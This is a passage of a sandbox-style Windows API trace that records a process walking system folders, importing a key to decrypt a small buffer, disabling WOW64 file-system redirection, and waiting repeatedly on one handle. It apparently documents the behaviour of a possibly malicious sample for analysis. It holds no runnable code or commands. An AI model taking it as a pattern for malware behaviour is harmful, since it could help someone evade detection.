	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1
	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1
	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="WinMSIPC", cAlternateFileName="")) returned 1
	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="WwanSvc", cAlternateFileName="")) returned 1
	[0214.483] FindNextFileW (in: hFindFile=0x6459b8, lpFindFileData=0x3bdf1f8 | out: lpFindFileData=0x3bdf1f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="WwanSvc", cAlternateFileName="")) returned 0
	[0214.483] FindClose (in: hFindFile=0x6459b8 | out: hFindFile=0x6459b8) returned 1
	[0214.483] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x3514088 | out: hHeap=0xd20000) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="Oracle", cAlternateFileName="")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1
	[0214.484] FindNextFileW (in: hFindFile=0x645978, lpFindFileData=0x3bdf47c | out: lpFindFileData=0x3bdf47c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x31, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0
	[0214.484] FindClose (in: hFindFile=0x645978 | out: hFindFile=0x645978) returned 1
	[0214.485] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x3524090 | out: hHeap=0xd20000) returned 1
	[0214.485] FindNextFileW (in: hFindFile=0x645ef8, lpFindFileData=0x3bdf700 | out: lpFindFileData=0x3bdf700*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
	[0214.485] FindNextFileW (in: hFindFile=0x645ef8, lpFindFileData=0x3bdf700 | out: lpFindFileData=0x3bdf700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xb8ee052c, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="swapfile.sys", cAlternateFileName="")) returned 1
	[0214.485] FindNextFileW (in: hFindFile=0x645ef8, lpFindFileData=0x3bdf700 | out: lpFindFileData=0x3bdf700*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
	[0214.485] FindNextFileW (in: hFindFile=0x645ef8, lpFindFileData=0x3bdf700 | out: lpFindFileData=0x3bdf700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0214.485] FindNextFileW (in: hFindFile=0x645ef8, lpFindFileData=0x3bdf700 | out: lpFindFileData=0x3bdf700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0214.486] FindNextFileW (in: hFindFile=0x645ef8, lpFindFileData=0x3bdf700 | out: lpFindFileData=0x3bdf700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 1
	[0214.486] FindNextFileW (in: hFindFile=0x645ef8, lpFindFileData=0x3bdf700 | out: lpFindFileData=0x3bdf700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccdc86a8, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows10Upgrade", cAlternateFileName="WINDOW~1")) returned 0
	[0214.486] FindClose (in: hFindFile=0x645ef8 | out: hFindFile=0x645ef8) returned 1
	[0214.486] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x34f4078 | out: hHeap=0xd20000) returned 1
	[0214.486] SetEvent (hEvent=0x388) returned 1
	[0214.486] SetEvent (hEvent=0x2dc) returned 1
	[0214.486] SetEvent (hEvent=0x398) returned 1
	[0214.486] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0xffffffff) returned 0x0
	[0214.486] SetEvent (hEvent=0x388) returned 1
	[0214.486] SetEvent (hEvent=0x2dc) returned 1
	[0214.486] SetEvent (hEvent=0x398) returned 1
	[0214.486] WaitForMultipleObjects (nCount=0x2, lpHandles=0x3bdf980*=0x384, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0214.486] CloseHandle (hObject=0x504) returned 1
	[0214.486] CloseHandle (hObject=0x384) returned 1
	[0214.486] CloseHandle (hObject=0x2dc) returned 1
	[0214.487] CloseHandle (hObject=0x388) returned 1
	[0214.487] CloseHandle (hObject=0x398) returned 1
	[0214.487] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x34e4070 | out: hHeap=0xd20000) returned 1
	[0214.487] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214b0 | out: hHeap=0xd20000) returned 1
	[0214.487] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0214.487] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28728 | out: hHeap=0xd20000) returned 1
	[0214.487] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28800 | out: hHeap=0xd20000) returned 1
	[0214.488] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21210 | out: hHeap=0xd20000) returned 1

Thread:
	id = 80
	os_tid = 0xd3c

	[0212.548] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x3534098
	[0212.548] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10000) returned 0x35440a0
	[0212.549] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x28) returned 0xd214d0
	[0212.549] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x110102) returned 0x40e4020
	[0212.552] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x50) returned 0xd21500
	[0212.552] CryptImportKey (in: hProv=0x616790, pbData=0x3d1fa60, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3d1fac8 | out: phKey=0x3d1fac8*=0x645a38) returned 1
	[0212.552] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0x3d1fab0, dwFlags=0x0) returned 1
	[0212.552] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21500, pdwDataLen=0x3d1fa7c | out: pbData=0xd21500, pdwDataLen=0x3d1fa7c) returned 1
	[0212.552] CryptDestroyKey (hKey=0x645a38) returned 1
	[0212.553] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74ae0000
	[0212.553] GetProcAddress (hModule=0x74ae0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x74af6b30
	[0212.553] Wow64DisableWow64FsRedirection (in: OldValue=0x3d1fb14 | out: OldValue=0x3d1fb14*=0x0) returned 1
	[0212.553] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21500 | out: hHeap=0xd20000) returned 1
	[0212.553] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.553] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.553] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.553] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.553] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.554] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.555] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.556] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.556] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.556] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.556] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.556] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.556] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.556] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.557] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.557] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.557] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.557] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.557] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.557] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.557] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.557] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.557] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.558] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.559] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.560] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.561] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.562] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.563] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
	[0212.564] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0xffffffff) returned 0x0
